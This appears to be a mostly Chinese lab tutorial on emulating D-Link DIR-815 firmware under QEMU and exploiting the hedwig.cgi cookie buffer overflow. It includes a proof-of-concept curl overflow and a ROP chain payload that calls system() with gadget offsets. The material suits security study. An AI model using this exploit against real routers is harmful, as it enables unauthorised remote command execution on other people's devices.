Building MIPS Environment for Router && PWN

Building MIPS Environment for Router && PWN

1
2
3
4
5
6
Tools for preparation
#D-Link DIR-815 buffer overflow on hedwig.cgi
qemu User Mode&&官网固件 搭建调试环境
qemu System Mode&&官网固件 MIPS虚拟机搭建路由器Web服务
debug&&POC编写
run POC&&MIPS虚拟机Web服务下反弹get shell

Tools for preparation

0x01 Full version of binwalk

To get the filesystem

1
https://github.com/ReFirmLabs/binwalk/blob/master/INSTALL.md

0x02 QEMU

1
2
3
4
5
6
7
8
git clone git://git.qemu-project.org/qemu.git
#或者qemu官网下载特定版本源码
sudo apt-get install libglib2.0 libglib2.0-dev
sudo apt-get install autoconf automake libtool
sudo ./configure --static&&sudo make&&sudo make install
#编译时间过长,可使用:
#--target-list=mipsel-softmmu,mipsel-linux-user
#进行选择编译

注意(针对此固件):
版本过高:

  • FPU MODE问题:
    1
    http://patchwork.ozlabs.org/patch/989595/

将最新更新的这地方patch掉就能正常使用

  • 运行起来debug时ida容易跑飞

版本过低:

1
Invalid ELF image for this architecture

1
2
3
4
5
6
7
8
9
在qemu/linux-user/elfload.c中patch为:
static bool elf_check_ehdr(struct elfhdr *ehdr)
{
return (elf_check_arch(ehdr->e_machine)
&& ehdr->e_ehsize == sizeof(struct elfhdr)
&& ehdr->e_phentsize == sizeof(struct elf_phdr)
// && ehdr->e_shentsize == sizeof(struct elf_shdr) //注释掉此行
&& (ehdr->e_type == ET_EXEC || ehdr->e_type == ET_DYN));
}

实测中2.5版本比较适用

0x03 libguestfs

To mount qcow2:

1
sudo apt-get install libguestfs-tools

0x04 MIPS-GCC

mips交叉编译环境搭建:
openwrt或者buildroot:

  • openwrt:
    官网下载需要的toolchain(或者源码编译)而后配置编译环境即可
    For example:

    1
    2
    3
    4
    wget https://downloads.openwrt.org/barrier_breaker/14.07/ramips/mt7620n/OpenWrt-Toolchain-ramips-for-mipsel_24kec%2bdsp-gcc-4.8-linaro_uClibc-0.9.33.2.tar.bz2
    tar -jxvf OpenWrt-Toolchain-ramips-for-mipsel_24kec+dsp-gcc-4.8-linaro_uClibc-0.9.33.2.tar.bz2
    export STAGING_DIR=~/OpenWrt-Toolchain-ramips-for-mipsel_24kec+dsp-gcc-4.8-linaro_uClibc-0.9.33.2/toolchain-mipsel_24kec+dsp_gcc-4.8-linaro_uClibc-0.9.33.2/bin:$STAGING_DIR
    #而后使用STAGING_DIR下的mipsel-openwrt-linux-gcc编译即可,这个适用于刷入openwrt的系统
  • buildroot:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    wget http://buildroot.uclibc.org/downloads/snapshots/buildroot-snapshot.tar.bz2
    tar -jxvf buildroot-snapshot.tar.bz2
    cd buildroot
    make clean
    make menuconfig
    #配置上:
    Target Architecture:MIPS(little endian)
    Target Architecture Variant: mips32
    Toolchain->Kernel Headers:本机对应的内核版本
    #保存配置(可能需要下载依赖:sudo apt-get install libncurses5-dev patch)
    sudo make

0x05 gdb&&gdbserver

下载源码:

1
ftp://ftp.gnu.org/gnu/gdb

gdb&gdbserver:

1
2
3
4
5
6
7
8
9
10
11
12
13
gdb->./
gdbserver->./gdb/gdbserver

MIPS环境下:
./configure --host=mipsel-linux --target=mipsel-linux --prefix=......
export CC=....../mipsel-linux-gcc #设置交叉编译环境
生成Makefile后,将$(CC)改为$(CC) -static #静态编译,防止出现库问题
#也可以在$(COMPILER)后添加 -static,能静态编译即可

本机下:
./configure --host=(本机环境) --target=mipsel-linux --prefix=.....

#会有一些报错,可以自己修改源码或者更换版本

0x06 Some Tools for IDA

Retdec

IDA 7.0:

  • 插件安装

    1
    2
    https://github.com/avast-tl/retdec-idaplugin/
    #releases
  • 配置Retdec:

    1
    2
    https://github.com/avast-tl/retdec/
    #releases

3.2版本不需要其他依赖
在Options->Retdec plugin options配置好retdec-decompiler.py位置即可

MIPS ROP Finder

IDA 6.8:

1
https://github.com/devttys0/ida/

将:

1
https://github.com/devttys0/ida/tree/master/plugins/mipsrop

放入IDA_ROOT/plugins/下即可

Building Environment for debug

0x01 Get the binary

官网固件下载:

1
ftp://ftp2.dlink.com/PRODUCTS/DIR-815/REVA/DIR-815_FIRMWARE_1.01.ZIP

Get the filesystem:

1
2
3
4
5
6
7
8
binwalk -e ./DIR-815\ FW\ 1.01b14_1.01b14.bin 

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 DLOB firmware header, boot partition: "dev=/dev/mtdblock/2"
108 0x6C LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 3017436 bytes
983148 0xF006C PackImg section delimiter tag, little endian size: 14690816 bytes; big endian size: 2809856 bytes
983180 0xF008C Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 2808054 bytes, 1526 inodes, blocksize: 262144 bytes, created: 2011-05-12 14:14:40

filesystem:

1
2
~/router/DIR-815/squashfs-root$ ls
bin dev etc home htdocs lib mnt proc sbin sys tmp usr var www

漏洞描述:

1
2
3
4
5
6
Buffer overflow on "hedwig. cgi"

Another buffer overflow affects the" hedwig. cgi" CGI script. Unauthenticatedremote attackers can invoke this CGI with an overly-long cookie value thatcan overflow a program buffer and overwrite the saved program address.

Proof-of -concept:
curl -b uid=$(perl -e' print "A' x1400:;") -d ' test' http://<target íp>/hedwig. cgi

hedwig.cgi:

1
2
3
4
5
6
7
8
9
10
11
12
~/router/DIR-815/squashfs-root/htdocs/web$ ls -l|grep hedwig.cgi
lrwxrwxrwx 1 kirin kirin 14 1月 6 23:35 hedwig.cgi -> /htdocs/cgibin

~/router/DIR-815/squashfs-root/htdocs$ checksec ./cgibin
[!] Could not populate PLT: Invalid memory write (UC_ERR_WRITE_UNMAPPED)
[*] '/home/kirin/router/DIR-815/squashfs-root/htdocs/cgibin'
Arch: mips-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

0x02 IDA静态分析

大致分析漏洞点:
首先看到cgibin中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#main function:
.text:004023E0 lui $gp, 0x43 # 'C'
.text:004023E4 addiu $sp, -0x30
.text:004023E8 li $gp, 0x4346D0
.text:004023EC sw $ra, 0x30+var_4($sp)
.text:004023F0 sw $s3, 0x30+var_8($sp)
.text:004023F4 sw $s2, 0x30+var_C($sp)
.text:004023F8 sw $s1, 0x30+var_10($sp)
.text:004023FC sw $s0, 0x30+var_14($sp)
.text:00402400 sw $gp, 0x30+var_20($sp)
.text:00402404 lw $s0, 0($a1)
.text:00402408 la $t9, strrchr
.text:0040240C move $s2, $a1
.text:00402410 move $s1, $a0
.text:00402414 li $a1, 0x2F # '/' # c
.text:00402418 move $a0, $s0 # s
.text:0040241C jalr $t9 ; strrchr
.text:00402420 move $s3, $a2
.text:00402424 lw $gp, 0x30+var_20($sp)
.text:00402428 beqz $v0, loc_402434
.text:0040242C nop
.text:00402430 addiu $s0, $v0, 1
.text:00402434
.text:00402434 loc_402434: # CODE XREF: main+48↑j
.text:00402434 la $t9, strcmp
.text:00402438 la $a1, aPhpcgi # "phpcgi"
.text:00402440 jalr $t9 ; strcmp
.text:00402444 move $a0, $s0 # s1
.text:00402448 lw $gp, 0x30+var_20($sp)
.text:0040244C bnez $v0, loc_402460
.text:00402450 lui $a1, 0x42 # 'B'
.text:00402454 la $t9, phpcgi_main
.text:00402458 b loc_40268C
.text:0040245C move $a0, $s1
.text:00402460 # ---------------------------------------------------------------------------
.text:00402460
.text:00402460 loc_402460: # CODE XREF: main+6C↑j
.text:00402460 la $t9, strcmp
.text:00402464 addiu $a1, (aDlcfg_cgi - 0x420000) # "dlcfg.cgi"
.text:00402468 jalr $t9 ; strcmp
.text:0040246C move $a0, $s0 # s1
.text:00402470 lw $gp, 0x30+var_20($sp)
.text:00402474 bnez $v0, loc_402488
.text:00402478 lui $a1, 0x42 # 'B'
.text:0040247C la $t9, dlcfg_main
......
......

采取软链接方式调用程序,并对调用时的binary名称比较,选择处理数据的主函数,因此找到调用hedwig.cgi时对应的main函数hedwigcgi_main:
首先看到在函数开始时:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.text:0040950C                 li      $a2, 0x11        # n
.text:00409510 lw $gp, 0x4E8+var_4D8($sp)
.text:00409514 lui $a0, 0x42 # 'B'
.text:00409518 la $t9, getenv
.text:0040951C nop
.text:00409520 jalr $t9 ; getenv
.text:00409524 la $a0, aRequest_method # "REQUEST_METHOD"
.text:00409528 lw $gp, 0x4E8+var_4D8($sp)
.text:0040952C bnez $v0, loc_409540
.text:00409530 nop
.text:00409534 lui $v0, 0x42 # 'B'
.text:00409538 b loc_4095C8
.text:0040953C addiu $a1, $v0, (aNoRequest - 0x420000) # "no REQUEST"
......
......

程序通过getenv的方式获取HTTP数据包中的数据,流程应该为:

1
2
3
4
主Web程序监听端口->传送HTTP数据包->
HTTP中headers等数据通过环境变量的方式传给cgi处理程序->
cgi程序通过getenv获取数据并处理返回给主程序->向客户端返回响应数据
#POST具体数据可以通过类似输入流传入 :echo "uid=aaa"| /htdocs/web/hedwig.cgi

因此,动态调试时只需要使用qemu -E设置环境变量或者在mips系统中export设置环境变量并允许程序即可模拟Web场景
下面看到处理cookie的过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.text:00409640                 la      $t9, sess_get_uid
.text:00409644 nop
.text:00409648 jalr $t9 ; sess_get_uid
.text:0040964C move $a0, $s5
.text:00409650 lw $gp, 0x4E8+var_4D8($sp)
.text:00409654 nop
.text:00409658 la $t9, sobj_get_string
.text:0040965C nop
.text:00409660 jalr $t9 ; sobj_get_string
.text:00409664 move $a0, $s5
.text:00409668 lw $gp, 0x4E8+var_4D8($sp)
.text:0040966C lui $a1, 0x42 # 'B'
.text:00409670 la $t9, sprintf
.text:00409674 move $a3, $v0
.text:00409678 move $a2, $s2
.text:0040967C la $a1, aSSPostxml # "%s/%s/postxml"
.text:00409680 jalr $t9 ; sprintf

sess_get_uid function为提取cookie中”uid=”后的字符串
这段最终调用为:

1
sprintf(stack_addr,"%s/%s/postxml","/runtime/session",cookie_after_treat)

此时当cookie过长会覆盖栈中内容
当hedwigcgi_main返回时:

1
2
3
4
5
6
7
8
9
10
.text:00409A30                 lw      $fp, 0x4E8+var_8($sp)
.text:00409A34 lw $s7, 0x4E8+var_C($sp)
.text:00409A38 lw $s6, 0x4E8+var_10($sp)
.text:00409A3C lw $s5, 0x4E8+var_14($sp)
.text:00409A40 lw $s4, 0x4E8+var_18($sp)
.text:00409A44 lw $s3, 0x4E8+var_1C($sp)
.text:00409A48 lw $s2, 0x4E8+var_20($sp)
.text:00409A4C lw $s1, 0x4E8+var_24($sp)
.text:00409A50 lw $s0, 0x4E8+var_28($sp)
.text:00409A54 jr $ra

造成栈溢出
不过后面的程序流程:

1
2
3
4
5
6
7
8
9
.text:004096B0                 la      $a0, aVarTmpTemp_xml  # "/var/tmp/temp.xml"
.text:004096B4 jalr $t9 ; fopen
.text:004096B8 la $a1, aW # "w"
.text:004096BC lw $gp, 0x4E8+var_4D8($sp)
.text:004096C0 bnez $v0, loc_4096D4
.text:004096C4 move $s2, $v0
.text:004096C8 lui $v0, 0x42 # 'B'
.text:004096CC b loc_409A64
.text:004096D0 addiu $a1, $v0, (aUnableToOpenTe - 0x420000) # "unable to open temp file."

当在/var/tmp/下成功打开temp.xml (‘w’模式),便会有:

1
2
3
4
5
6
7
8
9
10
.text:00409958                 jalr    $t9 ; sobj_get_string
.text:0040995C move $a0, $s5
.text:00409960 lw $gp, 0x4E8+var_4D8($sp)
.text:00409964 lui $a1, 0x42 # 'B'
.text:00409968 la $t9, sprintf
.text:0040996C lui $a2, 0x42 # 'B'
.text:00409970 la $a1, aHtdocsWebincFa # "/htdocs/webinc/fatlady.php\nprefix=%s/%"...
.text:00409974 la $a2, aRuntimeSession # "/runtime/session"
.text:00409978 move $a3, $v0
.text:0040997C jalr $t9 ; sprintf

即:

1
sprintf(stack_addr,"/htdocs/webinc/fatlady.php\nprefix=%s/%s","/runtime/session",cookie_after_treat)

这里也会造成栈溢出,真实应该是要在这里debug
(因为此处sprintf会覆盖前一个sprintf的数据)

1
2
3
4
5
6
7
8
因为如果不存在/var/tmp(打开/var/tmp/temp.xml失败):
.text:004096C4 move $s2, $v0
.text:004096C8 lui $v0, 0x42 # 'B'
.text:004096CC b loc_409A64
.text:004096D0 addiu $a1, $v0, (aUnableToOpenTe - 0x420000) # "unable to open temp file."
会直接返回unable to open temp file
所以真实环境应该存在/var/tmp文件夹
debug时在./var/下手动创建即可

还需要POST数据包中包含”uid=……”
否则有一处会分配空间失败:

1
2
3
4
5
6
7
8
9
10
11
.text:00409AB0                 la      $t9, sobj_strdup
.text:00409AB4 lw $a0, 4($s0)
.text:00409AB8 jalr $t9 ; sobj_strdup
.text:00409ABC nop
.text:00409AC0 lw $ra, 0x20+var_4($sp)
.text:00409AC4 lui $v1, 0x43 # 'C'
.text:00409AC8 lw $gp, 0x20+var_10($sp)
.text:00409ACC lw $s0, 0x20+var_8($sp)
.text:00409AD0 sw $v0, haystack
.text:00409AD4 jr $ra
.text:00409AD8 addiu $sp, 0x20

从而最后:

1
2
3
4
5
6
.text:004096D4                 lw      $v0, haystack
.text:004096DC nop
.text:004096E0 bnez $v0, loc_4096F0
.text:004096E4 lui $v0, 0x42 # 'B'
.text:004096E8 b loc_409A64
.text:004096EC addiu $a1, $v0, (aNoXmlData_ - 0x420000) # "no xml data."

此时也不会进入第二个sprintf,不过第一处依然存在栈溢出
不过这样情况下在我的MIPS虚拟机下复现失败
但是会产生signal 11,失败应该只是环境问题

0x03 Debug Environment with QEMU User Mode

动态debug环境:静态编译的qemu+chroot+IDA

1
2
3
4
5
6
7
#!/bin/bash
INPUT="$1"
COOKIE="$2"
PORT="$3"
LEN=$(echo -n "$INPUT" | wc -c)

echo $INPUT | chroot . ./qemu-mipsel -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=$COOKIE -E REQUEST_URI="/hedwig.cgi" -E REMOTE_ADDR="192.168.1.1" -g $PORT /htdocs/web/hedwig.cgi

1
sudo ./debug.sh  "uid=1234"  "uid=kirin"  1234

IDA下remote gdb debugger连接对应端口即可(推荐IDA 6.8)

0x04 Web Server Build with QEMU System Mode

利用qemu-system-mipsel重现web服务环境
首先观察文件系统
主要看有那些服务&&命令,推测大致启动模式
而后在MIPS中重现关键web服务即可

1
2
3
4
主要看各个bin下(/bin /sbin /usr/bin /usr/sbin ......)以及web服务特点
首先从web目录下确定服务为php+cgi
在命令中发现httpd
猜测httpd监听web端口,调用cgi&&php程序处理数据并返回客户端

下面找到相关web配置:

1
2
3
4
5
~/router/DIR-815/squashfs-root$ find ./ -name "*http*"
./usr/sbin/httpc
./sbin/httpd
./etc/services/HTTP/httpcfg.php
./etc/services/HTTP/httpsvcs.php

看到httpcfg.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
Umask 026
PIDFile /var/run/httpd.pid
#LogGMT On
#ErrorLog /dev/console

Tuning
{
NumConnections 15
BufSize 12288
InputBufSize 4096
ScriptBufSize 4096
NumHeaders 100
Timeout 60
ScriptTimeout 60
}

Control
{
Types
{
text/html { html htm }
text/xml { xml }
text/plain { txt }
image/gif { gif }
image/jpeg { jpg }
text/css { css }
application/octet-stream { * }
}
Specials
{
Dump { /dump }
CGI { cgi }
Imagemap { map }
Redirect { url }
}
External
{
/usr/sbin/phpcgi { php }
}
}

<?
include "/htdocs/phplib/phyinf.php";

function http_server($sname, $uid, $ifname, $af, $ipaddr, $port, $hnap, $widget, $smart404)
{
echo
"Server". "\n".
"{". "\n".
" ServerName \"".$sname."\"". "\n".
" ServerId \"".$uid."\"". "\n".
" Family ".$af. "\n".
" Interface ".$ifname. "\n".
" Address ".$ipaddr. "\n".
" Port ".$port. "\n".
" Virtual". "\n".
" {". "\n".
" AnyHost". "\n".
" Control". "\n".
" {". "\n".
" Alias /". "\n".
" Location /htdocs/web". "\n".
" IndexNames { index.php }". "\n";
if ($uid=="LAN-1"||$uid=="WAN-1") echo
" External". "\n".
" {". "\n".
" /usr/sbin/phpcgi { txt }". "\n".
" }". "\n";
if ($widget > 0) echo
" External". "\n".
" {". "\n".
" /usr/sbin/phpcgi { router_info.xml }"."\n".
" /usr/sbin/phpcgi { post_login.xml }"."\n".
" }". "\n";
echo
" }". "\n";
if ($smart404 != "")
{
echo
' Control'. '\n'.
' {'. '\n'.
' Alias /smart404'. '\n'.
' Location /htdocs/smart404'. '\n'.
' }'. '\n';
}
if ($hnap > 0)
{
echo
" Control". "\n".
" {". "\n".
" Alias /HNAP1". "\n".
" Location /htdocs/HNAP1". "\n".
" External". "\n".
" {". "\n".
" /usr/sbin/hnap { hnap }". "\n".
" }". "\n".
" IndexNames { index.hnap }". "\n".
" }". "\n";
}
echo
" }". "\n".
"}". "\n";
}

function ssdp_server($sname, $uid, $ifname, $af, $ipaddr)
{
if ($af=="inet6") return;
echo
"Server". "\n".
"{". "\n".
" ServerName \"".$sname."\"". "\n".
" ServerId \"".$uid."\"". "\n".
" Family ".$af. "\n".
" Interface ".$ifname. "\n".
" Port 1900". "\n".
" Address 239.255.255.250". "\n".
" Datagrams On". "\n".
" Virtual". "\n".
" {". "\n".
" AnyHost". "\n".
" Control". "\n".
" {". "\n".
" Alias /". "\n".
" Location /htdocs/upnp/docs/".$uid."\n".
" External". "\n".
" {". "\n".
" /htdocs/upnp/ssdpcgi { * }"."\n".
" }". "\n".
" }". "\n".
" }". "\n".
"}". "\n".
"\n";
}

function upnp_server($sname, $uid, $ifname, $af, $ipaddr, $port)
{
if ($af=="inet6") return;
echo
"Server". "\n".
"{". "\n".
" ServerName \"".$sname."\"". "\n".
" ServerId \"".$uid."\"". "\n".
" Family ".$af. "\n".
" Interface ".$ifname. "\n".
" Address ".$ipaddr. "\n".
" Port ".$port. "\n".
" Virtual". "\n".
" {". "\n".
" AnyHost". "\n".
" Control". "\n".
" {". "\n".
" Alias /". "\n".
" Location /htdocs/upnp/docs/".$uid."\n".
" }". "\n".
" }". "\n".
"}". "\n".
"\n";
}

foreach("/runtime/services/http/server")
{
$model = query("/runtime/device/modelname");
$ver = query("/runtime/device/firmwareversion");
$smart404 = query("/runtime/smart404");
$sname = "Linux, HTTP/1.1, ".$model." Ver ".$ver; /* HTTP server name */
$suname = "Linux, UPnP/1.0, ".$model." Ver ".$ver; /* UPnP server name */
$mode = query("mode");
$inf = query("inf");
$ifname = query("ifname");
$ipaddr = query("ipaddr");
$port = query("port");
$hnap = query("hnap");
$widget = query("widget");
$af = query("af");


if ($af!="" && $ifname!="")
{
if ($mode=="HTTP") http_server($sname, $inf,$ifname,$af,$ipaddr,$port,$hnap,$widget,$smart404);
else if ($mode=="SSDP") ssdp_server($sname, $inf,$ifname,$af,$ipaddr);
else if ($mode=="UPNP") upnp_server($suname,$inf,$ifname,$af,$ipaddr,$port);
}
}

?>

可以看到这里用于生成配置文件
我们只需要其中的http服务
大致审一下function http_server
改写main为:

1
2
3
4
5
6
7
8
9
10
11
12
$smart404 = "kirin";
$sname = "Linux, HTTP/1.1, "; /* HTTP server name */
$inf = "1234";
$ifname = "eth0";
$ipaddr = "127.0.0.1";
$port = "80";
$hnap = 1;
$widget = 2;
$af = "kirin";


http_server($sname, $inf,$ifname,$af,$ipaddr,$port,$hnap,$widget,$smart404);

运行即可生成配置文件
下面配置qemu system mode下配置MIPS虚拟机:
推荐ubuntu 12.04 32bit,其他的配置网卡容易失败
下载内核和磁盘镜像

1
2
3
4
5
https://people.debian.org/~aurel32/qemu/mipsel/
内核:
vmlinux-2.6.32-5-4kc-malta
磁盘镜像:
debian_squeeze_mipsel_standard.qcow2

(最好的方案是使用提取出的文件系统制作镜像,然后qemu运行,不过失败了
只能采取使用MIPS虚拟机并配置对应Web服务)
配置MIPS虚拟机网卡(针对ubuntu 12.04 32bit,其他我没配置成功):
首先安装依赖:

1
sudo apt-get install bridge-utils uml-utilities

编辑/etc/network/interfaces

1
2
3
4
5
6
7
8
9
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet dhcp
#auto br0
iface br0 inet dhcp
bridge_ports eth0
bridge_maxwait 0

保存后建立桥接网络:

1
2
3
sudo ifdown eth0
sudo ifup eth0
sudo ifup br0

编辑/etc/qemu-ifup为:
(这个脚本会在qemu-system使用时自动启动来配置qemu虚拟机网卡)

1
2
3
4
5
6
7
#!/bin/sh
echo "Executing /etc/qemu-ifup"
echo "Bringing $1 for bridged mode..."
sudo /sbin/ifconfig $1 0.0.0.0 promisc up
echo "Adding $1 to br0..."
sudo /sbin/brctl addif br0 $1
sleep 2

而后启动MIPS虚拟机:

1
sudo qemu-system-mipsel -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic,macaddr=00:16:3e:00:00:01 -net tap -nographic

启动时虚拟机user&&passwd都是”root”
此时ifconfig -a发现存在eth1,但没有分配ip:
编辑MIPS虚拟机的/etc/network/interfaces

1
2
3
4
5
6
7
8
9
10
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
allow-hotplug eth1
iface eth1 inet dhcp

而后ifup eth1使eth1生效即可
ifconfig -a看到成功分配ip(和ubuntu的br0 ip对应)
下面在MIPS虚拟机中配置路由器web服务
这里有两种方法:

  • 方法一 在ubuntu挂载磁盘镜像:
    利用libguestfs挂载qcow2磁盘镜像
    1
    2
    3
    4
    5
    sudo guestmount  -a ./debian_squeeze_mipsel_standard.qcow2 -m /dev/sda1 ./point
    -a+磁盘镜像
    -m+需要挂载的磁盘分区
    最后+挂载位置
    #删除:sudo guestunmount ./point

而后在指定的文件夹下即可看到磁盘中的文件系统,将固件根目录的htdocs复制到镜像根目录
将etc目录复制到镜像根目录,直接复制即可,覆盖掉的文件没有什么作用
将固件lib下所需要的共享库复制到镜像libc下(libgcc_s.so版本不同,需要覆盖掉):

1
2
3
4
5
6
7
8
ld-uClibc-0.9.30.1.so  
libcrypt-0.9.30.1.so
libc.so.0
libgcc_s.so.1
ld-uClibc.so.0
libcrypt.so.0
libgcc_s.so
libuClibc-0.9.30.1.so

将httpd复制进镜像,并编写好配置文件(即上面php输出部分):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
Umask 026
PIDFile /var/run/httpd.pid
#LogGMT On
#ErrorLog /dev/console

Tuning
{
NumConnections 15
BufSize 12288
InputBufSize 4096
ScriptBufSize 4096
NumHeaders 100
Timeout 60
ScriptTimeout 60
}

Control
{
Types
{
text/html { html htm }
text/xml { xml }
text/plain { txt }
image/gif { gif }
image/jpeg { jpg }
text/css { css }
application/octet-stream { * }
}
Specials
{
Dump { /dump }
CGI { cgi }
Imagemap { map }
Redirect { url }
}
External
{
/usr/sbin/phpcgi { php }
}
}

Server
{
ServerName "Linux, HTTP/1.1, "
ServerId "1234"
Family kirin
Interface eth0
Address 127.0.0.1
Port 80
Virtual
{
AnyHost
Control
{
Alias /
Location /htdocs/web
IndexNames { index.php }
External
{
/usr/sbin/phpcgi { router_info.xml }
/usr/sbin/phpcgi { post_login.xml }
}
}
Control
{
Alias /smart404
Location /htdocs/smart404
}
Control
{
Alias /HNAP1
Location /htdocs/HNAP1
External
{
/usr/sbin/hnap { hnap }
}
IndexNames { index.hnap }
}
}
}

静态分析httpd程序,需要修改一些部分:

1
2
3
4
5
6
7
LogGMT On #开启log
ErrorLog /log #log文件

Family inet
Interface eth1
Address 192.168.160.142 //对应自己qemu虚拟机IP
Port 1234 //未被占用的端口

再重新挂载启动,流程和前面配置网络相同
根据配置及固件,还需要在MIPS虚拟机中建立两个软连接:

1
2
ln -s  /htdocs/cgibin /usr/sbin/phpcgi
ln -s /htdocs/cgibin /usr/sbin/hnap

  • 方法二 SSH配置Web Server
    配置方法相同
    配置好网络后,将需要的文件打包scp上传到MIPS虚拟机再解压即可

配置好虚拟机后根据conf启动httpd服务即可:

1
httpd  -f ./conf

检测是否成功
在物理机curl测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
~$ curl http://192.168.160.142:1232/hedwig.cgi -v -X POST -H "Content-Length: 8" -b  "uid=kirin" 
* Trying 192.168.160.142...
* Connected to 192.168.160.142 (192.168.160.142) port 1232 (#0)
> POST /hedwig.cgi HTTP/1.1
> Host: 192.168.160.142:1232
> User-Agent: curl/7.47.0
> Accept: */*
> Cookie: uid=kirin
> Content-Length: 8
>
< HTTP/1.1 200 OK
< Server: Linux, HTTP/1.1,
< Date: Thu, 21 Feb 2019 18:28:12 GMT
< Transfer-Encoding: chunked
< Content-Type: text/xml
<
* Connection #0 to host 192.168.160.142 left intact
<hedwig><result>FAILED</result><message>no xml data.</message></hedwig>

MIPS虚拟机下查看log:

1
2
3
4
root@debian-mipsel:/# cat /log
Thu Feb 21 18:28:12 2019 [3391] process_headers: method[POST], nheaders=[4], URL[/hedwig.cgi]
Thu Feb 21 18:28:12 2019 [3391] readfromclient: client went away while posting data
Thu Feb 21 18:28:12 2019 [3391] child process 3418 exited with status 255

Web Server Build Successfully
(注意,这里并没有完全启动,因为毕竟整个固件有其他依赖,不过关键程序已成功启动)
通过前面IDA下的静态分析,在MIPS虚拟机下也可以通过export设置HTTP_METHOD等环境变量来单一调用cgi程序
For example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
root@debian-mipsel:/# export
declare -x CONTENT_LENGTH="20"
declare -x CONTENT_TYPE="application/x-www-form-urlencoded"
declare -x HOME="/root"
declare -x HTTP_COOKIE="uid=1234"
declare -x HUSHLOGIN="FALSE"
declare -x LANG="en_US.UTF-8"
declare -x LOGNAME="root"
declare -x MAIL="/var/mail/root"
declare -x OLDPWD="/proc"
declare -x PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
declare -x PWD="/"
declare -x REMOTE_ADDR="192.168.1.1"
declare -x REQUEST_METHOD="POST"
declare -x REQUEST_URI="/hedwig.cgi"
declare -x SHELL="/bin/bash"
declare -x SHLVL="1"
declare -x TERM="vt100"
declare -x USER="root"
root@debian-mipsel:/# /htdocs/web/hedwig.cgi
HTTP/1.1 200 OK
Content-Type: text/xml
#缺少POST数据
<hedwig><result>FAILED</result><message>no xml data.</message></hedwig>
root@debian-mipsel:/# echo "uid=1234"|/htdocs/web/hedwig.cgi
root@debian-mipsel:/ #运行成功

Debug && POC编写

QEMU User Mode+IDA debug即可
MIPS虚拟机下gdbserver总是crash

1
sudo ./debug.sh  "uid=1234"  `python -c 'printf "uid="+"A"*0x400'`  1234

主要通过IDA动态调试看到成功覆盖栈内返回地址($RA)
以及确定payload偏移量即可
最后利用MIPSROP插件构造ROP chain,这里注意sprintf绕过”\x00”即可,所以选取动态库(libc.so.0 -> libuClibc-0.9.30.1.so)进行构造(因为位于高地址,容易绕过地址高位的”\x00”):

1
2
3
4
在IDA 6.8中启动mipsrop插件,而后:
mipsrop.stackfinders()
选取特定的ROP elements:
example: mipsrop.find("addiu $s0,1");//参数为所需语句

最终payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
payload="A"*offset                     #fill
payload+=p32(libc_addr+0x531ff) # $s0
payload+="A"*4 # $s1
payload+="A"*4 # $s2
payload+="A"*4 # $s3
payload+="A"*4 # $s4
payload+=p32(libc_addr+0x159cc) # $s5
payload+="A"*4 # $s6
payload+="A"*4 # $s7
payload+="A"*4 # $gp
payload+=p32(libc_addr+0x158c8) # $ra
payload+="A"*16 #fill
payload+=cmd # shellcode

其中:

1
2
3
4
5
6
7
8
9
10
11
12
$ra:libc_addr+0x158c8:
.text:000158C8 move $t9, $s5
.text:000158CC jalr $t9
.text:000158D0 addiu $s0, 1 #$s0=$s0+1=system_addr-1+1=system_addr
$s5=libc_addr+0x159cc:
.text:000159CC addiu $s5, $sp, 0x170+var_160 #addiu $s5,$sp,0x10
#->$s5指向 $sp+0x10->cmd
.text:000159D0 move $a1, $s3
.text:000159D4 move $a2, $s1
.text:000159D8 move $t9, $s0 #$t9=$s0=system_addr
.text:000159DC jalr $t9
.text:000159E0 move $a0, $s5#$a0=$s5->cmd

此ROP chain整体流程:

1
2
3
system_addr-1,末位为"\xFF",用于bypass sprintf
执行ROP chain->计算正确的system_addr->将栈中cmd地址传入$a0
最终调用system(cmd)

动态debug可以确定offset为0x3cd
libc_addr:
在ubuntu 16.04下qemu user mode动态调试
可以利用程序一些库中函数在调试中的实际地址减去so文件中该函数偏移量确定libc的加载基址
